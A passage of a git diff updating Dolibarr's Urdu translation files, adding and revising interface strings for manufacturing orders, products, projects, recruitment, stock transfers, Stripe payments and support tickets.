'%s' دیکھیں)۔ لیکن آپ اسے منسوخ کر سکتے ہیں۔ ErrorAVirtualProductCantBeUsedIntoABomOrMo=ایک کٹ کو BOM یا MO میں استعمال نہیں کیا جا سکتا Workstation=ورک سٹیشن @@ -107,3 +111,10 @@ THMEstimatedHelp=یہ شرح آئٹم کی پیشن گوئی کی قیمت کی BOM=سامان کا بل CollapseBOMHelp=آپ BOM ماڈیول کی ترتیب میں نام کی تفصیلات کے پہلے سے طے شدہ ڈسپلے کی وضاحت کر سکتے ہیں MOAndLines=مینوفیکچرنگ آرڈرز اور لائنز +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/ur_PK/products.lang b/htdocs/langs/ur_PK/products.lang index 4f65a215f19..4e284969766 100644 --- a/htdocs/langs/ur_PK/products.lang +++ b/htdocs/langs/ur_PK/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=کیا آپ واقعی اس پروڈکٹ لائن کو ProductSpecial=خاص QtyMin=کم از کم خریداری کی مقدار PriceQtyMin=قیمت کی مقدار کم از کم -PriceQtyMinCurrency=اس مقدار کے لیے قیمت (کرنسی)۔ (کوئی رعایت نہیں) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=VAT کی شرح (اس وینڈر/پروڈکٹ کے لیے) DiscountQtyMin=اس مقدار کے لیے رعایت۔ NoPriceDefinedForThisSupplier=اس وینڈر/ پروڈکٹ کے لیے کوئی قیمت/ مقدار متعین نہیں ہے۔ @@ -261,7 +262,7 @@ Quarter1=1st. کوارٹر Quarter2=2nd کوارٹر Quarter3=3rd کوارٹر Quarter4=4th. کوارٹر -BarCodePrintsheet=بارکوڈ پرنٹ کریں۔ +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=اس ٹول کے ذریعے، آپ بارکوڈ اسٹیکرز کی شیٹ پرنٹ کر سکتے ہیں۔ اپنے اسٹیکر پیج کا فارمیٹ، بارکوڈ کی قسم اور بارکوڈ کی قدر کا انتخاب کریں، پھر بٹن %s پر کلک کریں۔ NumberOfStickers=صفحہ پر پرنٹ کرنے کے لیے اسٹیکرز کی تعداد PrintsheetForOneBarCode=ایک بار کوڈ کے لیے کئی اسٹیکرز پرنٹ کریں۔ @@ -344,9 +345,9 @@ PossibleValues=ممکنہ اقدار GoOnMenuToCreateVairants=انتساب کی قسمیں تیار کرنے کے لیے مینو %s - %s پر جائیں (جیسے رنگ، سائز، ...) UseProductFournDesc=صارفین کے لیے تفصیل کے علاوہ وینڈرز (ہر وینڈر کے حوالے کے لیے) کے ذریعے بیان کردہ پروڈکٹ کی تفصیل کی وضاحت کرنے کے لیے ایک خصوصیت شامل کریں۔ ProductSupplierDescription=پروڈکٹ کے لیے وینڈر کی تفصیل -UseProductSupplierPackaging=سپلائر کی قیمتوں پر پیکیجنگ کا استعمال کریں (سپلائر کی دستاویزات میں لائن شامل/اپ ڈیٹ کرتے وقت سپلائر کی قیمت پر سیٹ کردہ پیکیجنگ کے مطابق مقدار کا دوبارہ حساب لگائیں) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=پیکیجنگ -PackagingForThisProductDesc=سپلائر کے آرڈر پر، آپ خود بخود اس مقدار (یا اس مقدار کا ایک کثیر) آرڈر کریں گے۔ کم از کم خریداری کی مقدار سے کم نہیں ہو سکتی +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=لائن کی مقدار کو سپلائر پیکیجنگ کے مطابق دوبارہ شمار کیا گیا تھا۔ #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=کارروائی صرف پروڈکٹ کے م ProductsPricePerCustomer=مصنوعات کی قیمتیں فی گاہک ProductSupplierExtraFields=اضافی خصوصیات (سپلائر کی قیمتیں) DeleteLinkedProduct=امتزاج سے منسلک چائلڈ پروڈکٹ کو حذف کریں۔ -AmountUsedToUpdateWAP=وزنی اوسط قیمت کو اپ ڈیٹ کرنے کے لیے استعمال کی جانے والی رقم +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=وزنی اوسط قیمت PMPValueShort=WAP mandatoryperiod=لازمی ادوار @@ -408,6 +409,23 @@ mandatoryHelper=اس کو چیک کریں اگر آپ انوائس، تجارت DefaultBOM=ڈیفالٹ BOM DefaultBOMDesc=پہلے سے طے شدہ BOM اس پروڈکٹ کو تیار کرنے کے لیے استعمال کرنے کی تجویز کرتا ہے۔ یہ فیلڈ صرف اس صورت میں سیٹ کی جا سکتی ہے جب پروڈکٹ کی نوعیت '%s' ہو۔ Rank=رینک +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=فروخت کی حالت پر سوئچ کریں۔ SwitchOnPurchaseStatus=خریداری کی حیثیت کو آن کریں۔ +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/ur_PK/projects.lang b/htdocs/langs/ur_PK/projects.lang index 0b5f6827b8b..f5692cc356c 100644 --- a/htdocs/langs/ur_PK/projects.lang +++ b/htdocs/langs/ur_PK/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=یہ منظر ان تمام منصوبوں اور کاموں ک TasksDesc=یہ منظر تمام منصوبوں اور کاموں کو پیش کرتا ہے (آپ کے صارف کی اجازت آپ کو سب کچھ دیکھنے کی اجازت دیتی ہے)۔ AllTaskVisibleButEditIfYouAreAssigned=اہل پروجیکٹس کے تمام کام نظر آتے ہیں، لیکن آپ صرف منتخب صارف کو تفویض کردہ کام کے لیے وقت درج کر سکتے ہیں۔ اگر آپ کو اس پر وقت داخل کرنے کی ضرورت ہو تو کام تفویض کریں۔ OnlyYourTaskAreVisible=صرف آپ کو تفویض کردہ کام نظر آتے ہیں۔ اگر آپ کو کسی ٹاسک پر وقت دینے کی ضرورت ہے اور اگر ٹاسک یہاں نظر نہیں آ رہا ہے، تو آپ کو اپنے آپ کو ٹاسک تفویض کرنے کی ضرورت ہے۔ +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=منصوبوں کے کام ProjectCategories=پروجیکٹ ٹیگز/زمرے NewProject=نیا کام @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=اسٹیٹس کے لحاظ سے کھلے پ OpportunitiesStatusForProjects=اسٹیٹس کے لحاظ سے پروجیکٹس کی مقدار لیڈ کرتا ہے۔ ShowProject=پروجیکٹ دکھائیں۔ ShowTask=کام دکھائیں۔ +SetThirdParty=Set third party SetProject=پروجیکٹ سیٹ کریں۔ +OutOfProject=Out of project NoProject=کوئی پروجیکٹ متعین یا ملکیت نہیں ہے۔ NbOfProjects=منصوبوں کی تعداد NbOfTasks=کاموں کی تعداد @@ -122,7 +125,8 @@ ValidateProject=پروجیکٹ کی توثیق کریں۔ ConfirmValidateProject=کیا آپ واقعی اس پروجیکٹ کی توثیق کرنا چاہتے ہیں؟ CloseAProject=پروجیکٹ بند کریں۔ ConfirmCloseAProject=کیا آپ واقعی اس پروجیکٹ کو بند کرنا چاہتے ہیں؟ -AlsoCloseAProject=پروجیکٹ کو بھی بند کریں (اگر آپ کو ابھی بھی اس پر پیداواری کاموں کی پیروی کرنے کی ضرورت ہے تو اسے کھلا رکھیں) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=پروجیکٹ کھولیں۔ ConfirmReOpenAProject=کیا آپ واقعی اس پروجیکٹ کو دوبارہ کھولنا چاہتے ہیں؟ ProjectContact=پروجیکٹ کے رابطے @@ -165,7 +169,7 @@ OpportunityProbability=لیڈ کا امکان OpportunityProbabilityShort=لیڈ پروباب۔ OpportunityAmount=لیڈ کی مقدار OpportunityAmountShort=لیڈ کی مقدار -OpportunityWeightedAmount=مواقع وزنی رقم +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=بالمقابل وزنی رقم OpportunityAmountAverageShort=لیڈ کی اوسط رقم OpportunityAmountWeigthedShort=وزنی لیڈ کی مقدار @@ -238,7 +242,7 @@ OppStatusPENDING=زیر التواء OppStatusWON=جیت گیا۔ OppStatusLOST=کھو دیا Budget=بجٹ -AllowToLinkFromOtherCompany=دیگر کمپنی سے لنک منصوبے کی اجازت دیں

      تائید اقدار:
      - خالی رکھیں: کمپنی (ڈیفالٹ) میں سے کسی منصوبے
      جوڑ سکتی ہے - "تمام": کسی بھی منصوبوں، دیگر کمپنیوں کی بھی پروجیکٹس
      جوڑ سکتی ہے - کی ایک فہرست فریق ثالث کی آئی ڈیز کو کوما سے الگ کیا گیا ہے: ان تھرڈ پارٹیز کے تمام پروجیکٹس کو لنک کر سکتے ہیں (مثال: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=تازہ ترین %s پروجیکٹس LatestModifiedProjects=تازہ ترین %s ترمیم شدہ پروجیکٹس OtherFilteredTasks=دیگر فلٹر شدہ کام @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=منافع کا استعمال کرتے ہوئے شمار AddPersonToTask=کاموں میں بھی شامل کریں۔ UsageOrganizeEvent=استعمال: ایونٹ آرگنائزیشن PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=پروجیکٹ کو بند کے طور پر درجہ بندی کریں جب اس کے تمام کام مکمل ہوجائیں (100%% پیش رفت) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=نوٹ: 100%% پر تمام ٹاسک والے موجودہ پروجیکٹس پر کوئی اثر نہیں پڑے گا: آپ کو انہیں دستی طور پر بند کرنا پڑے گا۔ یہ اختیار صرف کھلے منصوبوں کو متاثر کرتا ہے۔ +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=گزارے گئے وقت کی لائنیں منتخب کریں جن کا بل نہیں ہے، پھر ان کو بل کرنے کے لیے بڑی تعداد میں "انوائس تیار کریں" ProjectTasksWithoutTimeSpent=بغیر وقت کے پروجیکٹ کے کام FormForNewLeadDesc=ہم سے رابطہ کرنے کے لیے درج ذیل فارم کو پُر کرنے کا شکریہ۔ آپ ہمیں براہ راست %s پر ای میل بھی بھیج سکتے ہیں۔ diff --git a/htdocs/langs/ur_PK/recruitment.lang b/htdocs/langs/ur_PK/recruitment.lang index 29e986d3d59..e6c3a6e71a6 100644 --- a/htdocs/langs/ur_PK/recruitment.lang +++ b/htdocs/langs/ur_PK/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=ای میل بھرتی کرنے والا ToUseAGenericEmail=ایک عام ای میل استعمال کرنے کے لیے۔ اگر وضاحت نہیں کی گئی ہے تو، بھرتی کے ذمہ دار کا ای میل استعمال کیا جائے گا۔ NewCandidature=نئی درخواست ListOfCandidatures=درخواستوں کی فہرست -RequestedRemuneration=معاوضے کی درخواست کی۔ -ProposedRemuneration=مجوزہ معاوضہ +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=معاہدہ تجویز کیا گیا۔ ContractSigned=معاہدے پر دستخط کیے گئے۔ ContractRefused=معاہدہ کرنے سے انکار کر دیا۔ RecruitmentCandidature=درخواست JobPositions=ملازمت کے عہدے RecruitmentCandidatures=ایپلی کیشنز -InterviewToDo=انٹرویو کرنا ہے۔ +InterviewToDo=Contacts to follow AnswerCandidature=درخواست کا جواب YourCandidature=آپ کی درخواست YourCandidatureAnswerMessage=آپ کی درخواست کے لیے آپ کا شکریہ۔
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=ملازمت کی پوزیشن بند ہے۔ ExtrafieldsJobPosition=تکمیلی صفات (ملازمت کی پوزیشنیں) ExtrafieldsApplication=تکمیلی صفات (نوکری کی درخواستیں) MakeOffer=ایک پیشکش کریں۔ +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/ur_PK/salaries.lang b/htdocs/langs/ur_PK/salaries.lang index 3c6e18296f4..8827cd329e2 100644 --- a/htdocs/langs/ur_PK/salaries.lang +++ b/htdocs/langs/ur_PK/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=اکاؤنٹنگ اکاؤنٹ صارف تیسرے فریق کے لیے استعمال کیا جاتا ہے۔ -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=صارف کارڈ پر بیان کردہ وقف اکاؤنٹنگ اکاؤنٹ صرف Subledger اکاؤنٹنگ کے لیے استعمال کیا جائے گا۔ یہ جنرل لیجر کے لیے اور سبلیجر اکاؤنٹنگ کی ڈیفالٹ ویلیو کے طور پر استعمال کیا جائے گا اگر صارف پر وقف صارف اکاؤنٹنگ اکاؤنٹ کی وضاحت نہیں کی گئی ہے۔ +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=اجرت کی ادائیگی کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=بطور ڈیفالٹ، تنخواہ بناتے وقت "خودکار طور پر کل ادائیگی بنائیں" کے آپشن کو خالی چھوڑ دیں۔ Salary=تنخواہ diff --git a/htdocs/langs/ur_PK/stocks.lang b/htdocs/langs/ur_PK/stocks.lang index a776633222b..e3c353d9226 100644 --- a/htdocs/langs/ur_PK/stocks.lang +++ b/htdocs/langs/ur_PK/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=مستقبل میں تاریخ StocksByLotSerial=لاٹ/سیریل کے حساب سے اسٹاک LotSerial=لاٹس/سیریلز LotSerialList=لاٹ/سیریلز کی فہرست +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=حرکتیں ErrorWarehouseRefRequired=گودام کے حوالے کا نام درکار ہے۔ ListOfWarehouses=گوداموں کی فہرست @@ -48,7 +49,7 @@ StockCorrection=اسٹاک کی اصلاح CorrectStock=درست اسٹاک StockTransfer=اسٹاک کی منتقلی TransferStock=اسٹاک منتقل کریں۔ -MassStockTransferShort=بڑے پیمانے پر اسٹاک کی منتقلی +MassStockTransferShort=Bulk stock change StockMovement=اسٹاک کی نقل و حرکت StockMovements=اسٹاک کی نقل و حرکت NumberOfUnit=یونٹوں کی تعداد @@ -146,8 +147,9 @@ Replenishments=دوبارہ بھرنے NbOfProductBeforePeriod=منتخب مدت سے پہلے اسٹاک میں پروڈکٹ %s کی مقدار (<%s) NbOfProductAfterPeriod=منتخب مدت کے بعد اسٹاک میں پروڈکٹ %s کی مقدار (> %s) MassMovement=عوامی تحریک -SelectProductInAndOutWareHouse=ایک ذریعہ گودام اور ہدف گودام، ایک پروڈکٹ اور مقدار منتخب کریں پھر "%s" پر کلک کریں۔ ایک بار جب یہ تمام مطلوبہ حرکتوں کے لیے ہو جائے تو "%s" پر کلک کریں۔ +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=ریکارڈ کی منتقلی +RecordMovements=Record stock movements ReceivingForSameOrder=اس آرڈر کی رسیدیں StockMovementRecorded=اسٹاک کی نقل و حرکت ریکارڈ کی گئی۔ RuleForStockAvailability=اسٹاک کی ضروریات پر قواعد @@ -176,7 +178,7 @@ ProductStockWarehouseCreated=انتباہ کے لیے اسٹاک کی حد او ProductStockWarehouseUpdated=الرٹ کے لیے اسٹاک کی حد اور مطلوبہ بہترین اسٹاک کو درست طریقے سے اپ ڈیٹ کیا گیا۔ ProductStockWarehouseDeleted=الرٹ کے لیے اسٹاک کی حد اور مطلوبہ بہترین اسٹاک کو صحیح طریقے سے حذف کر دیا گیا۔ AddNewProductStockWarehouse=الرٹ اور مطلوبہ بہترین اسٹاک کے لیے نئی حد مقرر کریں۔ -AddStockLocationLine=مقدار کو کم کریں پھر اس پروڈکٹ کے لیے دوسرا گودام شامل کرنے کے لیے کلک کریں۔ +AddStockLocationLine=Decrease quantity then click to split the line InventoryDate=انوینٹری کی تاریخ Inventories=انوینٹریز NewInventory=نئی انوینٹری @@ -234,7 +236,7 @@ StockIncrease=اسٹاک میں اضافہ StockDecrease=اسٹاک میں کمی InventoryForASpecificWarehouse=مخصوص گودام کے لیے انوینٹری InventoryForASpecificProduct=کسی مخصوص پروڈکٹ کے لیے انوینٹری -StockIsRequiredToChooseWhichLotToUse=کون سا لاٹ استعمال کرنا ہے اس کا انتخاب کرنے کے لیے اسٹاک کی ضرورت ہے۔ +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=کرنے پر مجبور کریں۔ AlwaysShowFullArbo=گودام کے لنکس کے پاپ اپ پر گودام کا پورا درخت دکھائیں (انتباہ: یہ ڈرامائی طور پر کارکردگی کو کم کر سکتا ہے) StockAtDatePastDesc=آپ یہاں ماضی میں دی گئی تاریخ پر اسٹاک (اصلی اسٹاک) دیکھ سکتے ہیں۔ @@ -254,7 +256,7 @@ ReOpen=دوبارہ کھولیں۔ ConfirmFinish=کیا آپ انوینٹری کے بند ہونے کی تصدیق کرتے ہیں؟ یہ آپ کے اسٹاک کو آپ کی انوینٹری میں داخل کردہ اصلی مقدار میں اپ ڈیٹ کرنے کے لیے تمام اسٹاک کی نقل و حرکت پیدا کرے گا۔ ObjectNotFound=%s نہیں ملا MakeMovementsAndClose=نقل و حرکت پیدا کریں اور بند کریں۔ -AutofillWithExpected=حقیقی مقدار کو متوقع مقدار سے بدل دیں۔ +AutofillWithExpected=Fill real quantity with expected quantity ShowAllBatchByDefault=بطور ڈیفالٹ، پروڈکٹ "اسٹاک" ٹیب پر بیچ کی تفصیلات دکھائیں۔ CollapseBatchDetailHelp=آپ اسٹاک ماڈیول کنفیگریشن میں بیچ ڈیٹیل ڈیفالٹ ڈسپلے سیٹ کر سکتے ہیں۔ ErrorWrongBarcodemode=نامعلوم بارکوڈ وضع @@ -265,9 +267,53 @@ ProductBarcodeDoesNotExist=بارکوڈ والا پروڈکٹ موجود نہی WarehouseId=گودام کی شناخت WarehouseRef=گودام ریف SaveQtyFirst=سٹاک کی نقل و حرکت کے بارے میں پوچھنے سے پہلے پہلے اصلی انوینٹری شدہ مقداروں کو محفوظ کریں۔ +ToStart=Start InventoryStartedShort=شروع ErrorOnElementsInventory=مندرجہ ذیل وجہ سے آپریشن منسوخ کر دیا گیا: ErrorCantFindCodeInInventory=انوینٹری میں درج ذیل کوڈ نہیں مل سکتا QtyWasAddedToTheScannedBarcode=کامیابی !! مقدار کو تمام درخواست کردہ بار کوڈ میں شامل کیا گیا تھا۔ آپ سکینر ٹول کو بند کر سکتے ہیں۔ -StockChangeDisabled=اسٹاک پر تبدیلی غیر فعال ہے۔ +StockChangeDisabled=Stock change disabled NoWarehouseDefinedForTerminal=ٹرمینل کے لیے کوئی گودام متعین نہیں ہے۔ +ClearQtys=Clear all quantities +ModuleStockTransferName=Advanced Stock Transfer +ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet +StockTransferNew=New stock transfer +StockTransferList=Stock transfers list +ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? +ConfirmDestock=Decrease of stocks with transfer %s +ConfirmDestockCancel=Cancel decrease of stocks with transfer %s +DestockAllProduct=Decrease of stocks +DestockAllProductCancel=Cancel decrease of stocks +ConfirmAddStock=Increase stocks with transfer %s +ConfirmAddStockCancel=Cancel increase of stocks with transfer %s +AddStockAllProduct=Increase of stocks +AddStockAllProductCancel=Cancel increase of stocks +DatePrevueDepart=Intended date of departure +DateReelleDepart=Real date of departure +DatePrevueArrivee=Intended date of arrival +DateReelleArrivee=Real date of arrival +HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse +HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse +LeadTimeForWarning=Lead time before alert (in days) +TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer +TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer +TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer +StockTransferSheet=Stocks transfer sheet +StockTransferSheetProforma=Proforma stocks transfer sheet +StockTransferDecrementation=Decrease source warehouses +StockTransferIncrementation=Increase destination warehouses +StockTransferDecrementationCancel=Cancel decrease of source warehouses +StockTransferIncrementationCancel=Cancel increase of destination warehouses +StockStransferDecremented=Source warehouses decreased +StockStransferDecrementedCancel=Decrease of source warehouses canceled +StockStransferIncremented=Closed - Stocks transfered +StockStransferIncrementedShort=Stocks transfered +StockStransferIncrementedShortCancel=Increase of destination warehouses canceled +StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry +StockTransferSetup = Stocks Transfer module configuration +Settings=Settings +StockTransferSetupPage = Configuration page for stocks transfer module +StockTransferRightRead=Read stocks transfers +StockTransferRightCreateUpdate=Create/Update stocks transfers +StockTransferRightDelete=Delete stocks transfers +BatchNotFound=Lot / serial not found for this product diff --git a/htdocs/langs/ur_PK/stripe.lang b/htdocs/langs/ur_PK/stripe.lang index 0c93b87f81c..8c750d656f8 100644 --- a/htdocs/langs/ur_PK/stripe.lang +++ b/htdocs/langs/ur_PK/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=ویب ہُک لائیو کلید ONLINE_PAYMENT_WAREHOUSE=جب آن لائن ادائیگی کی جاتی ہے تو اسٹاک کو کم کرنے کے لیے استعمال کیا جائے گا StripeLiveEnabled=اسٹرائپ لائیو فعال (بصورت دیگر ٹیسٹ/سینڈ باکس موڈ) StripeImportPayment=پٹی کی ادائیگی درآمد کریں۔ -ExampleOfTestCreditCard=ٹیسٹ کے لیے کریڈٹ کارڈ کی مثال: %s => درست، %s => غلطی CVC، %s => میعاد ختم، %s => چارج ناکام +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=پٹی والے دروازے OAUTH_STRIPE_TEST_ID=اسٹرائپ کنیکٹ کلائنٹ آئی ڈی (ca_...) OAUTH_STRIPE_LIVE_ID=اسٹرائپ کنیکٹ کلائنٹ آئی ڈی (ca_...) @@ -61,6 +62,7 @@ DeleteACard=کارڈ حذف کریں۔ ConfirmDeleteCard=کیا آپ واقعی اس کریڈٹ یا ڈیبٹ کارڈ کو حذف کرنا چاہتے ہیں؟ CreateCustomerOnStripe=پٹی پر گاہک بنائیں CreateCardOnStripe=پٹی پر کارڈ بنائیں +CreateBANOnStripe=Create bank on Stripe ShowInStripe=پٹی میں دکھائیں۔ StripeUserAccountForActions=کچھ اسٹرائپ ایونٹس کی ای میل اطلاع کے لیے استعمال کرنے والا صارف اکاؤنٹ (سٹرائپ ادائیگی) StripePayoutList=پٹی کی ادائیگیوں کی فہرست @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=IPN (لائیو موڈ) کو کال کرنے کے ل PaymentWillBeRecordedForNextPeriod=ادائیگی اگلی مدت کے لیے ریکارڈ کی جائے گی۔ ClickHereToTryAgain= دوبارہ کوشش کرنے کے لیے یہاں کلک کریں... CreationOfPaymentModeMustBeDoneFromStripeInterface=مضبوط کسٹمر تصدیقی اصولوں کی وجہ سے، کارڈ کی تخلیق اسٹرائپ بیک آفس سے ہونی چاہیے۔ آپ اسٹرائپ کسٹمر ریکارڈ پر سوئچ کرنے کے لیے یہاں کلک کر سکتے ہیں: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/ur_PK/ticket.lang b/htdocs/langs/ur_PK/ticket.lang index 36c951e7e57..3fdac90aa22 100644 --- a/htdocs/langs/ur_PK/ticket.lang +++ b/htdocs/langs/ur_PK/ticket.lang @@ -26,7 +26,9 @@ Permission56002=ٹکٹوں میں ترمیم کریں۔ Permission56003=ٹکٹیں حذف کریں۔ Permission56004=ٹکٹوں کا انتظام کریں۔ Permission56005=تمام فریق ثالث کے ٹکٹ دیکھیں (بیرونی صارفین کے لیے موثر نہیں، ہمیشہ ان تیسرے فریق تک محدود رہیں جس پر وہ انحصار کرتے ہیں) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=ٹکٹ - اقسام TicketDictCategory=ٹکٹ - گروپس TicketDictSeverity=ٹکٹ - شدت @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=بیرونی تعاون کرنے وال OriginEmail=رپورٹر ای میل Notify_TICKET_SENTBYMAIL=ٹکٹ کا پیغام بذریعہ ای میل بھیجیں۔ +ExportDataset_ticket_1=Tickets + # Status Read=پڑھیں Assigned=تفویض کردہ @@ -90,8 +94,8 @@ TicketPublicAccess=ایک عوامی انٹرفیس جس کے لیے کسی شن TicketSetupDictionaries=ٹکٹ کی قسم، شدت اور تجزیاتی کوڈ لغات سے قابل ترتیب ہیں۔ TicketParamModule=ماڈیول متغیر سیٹ اپ TicketParamMail=ای میل سیٹ اپ -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=ٹکٹ بنانے کے بعد ٹیکسٹ میسج بھیجا گیا۔ @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=یہاں بیان کردہ متن عوامی انٹرفی TicketParamPublicInterface=عوامی انٹرفیس سیٹ اپ TicketsEmailMustExist=ٹکٹ بنانے کے لیے موجودہ ای میل ایڈریس کی ضرورت ہے۔ TicketsEmailMustExistHelp=پبلک انٹرفیس میں، نیا ٹکٹ بنانے کے لیے ڈیٹا بیس میں ای میل ایڈریس کو پہلے سے ہی بھرنا چاہیے۔ +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=عوامی انٹرفیس TicketUrlPublicInterfaceLabelAdmin=عوامی انٹرفیس کے لیے متبادل URL TicketUrlPublicInterfaceHelpAdmin=ویب سرور کے لیے ایک عرف کی وضاحت کرنا اور اس طرح عوامی انٹرفیس کو دوسرے یو آر ایل کے ساتھ دستیاب کرنا ممکن ہے (سرور کو اس نئے یو آر ایل پر پراکسی کے طور پر کام کرنا چاہیے) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=بنائی گئی NewTicket=نیا ٹکٹ SubjectAnswerToTicket=ٹکٹ کا جواب TicketTypeRequest=درخواست کی قسم -TicketCategory=ٹکٹ کی درجہ بندی +TicketCategory=Ticket group SeeTicket=ٹکٹ دیکھیں TicketMarkedAsRead=ٹکٹ کو پڑھا ہوا نشان زد کر دیا گیا ہے۔ TicketReadOn=پڑھیں @@ -190,8 +198,7 @@ TicketAssigned=ٹکٹ اب تفویض کیا گیا ہے۔ TicketChangeType=قسم تبدیل کریں۔ TicketChangeCategory=تجزیاتی کوڈ کو تبدیل کریں۔ TicketChangeSeverity=شدت کو تبدیل کریں۔ -TicketAddMessage=ایک پیغام شامل کریں۔ -AddMessage=ایک پیغام شامل کریں۔ +TicketAddMessage=Add private message MessageSuccessfullyAdded=ٹکٹ شامل کیا گیا۔ 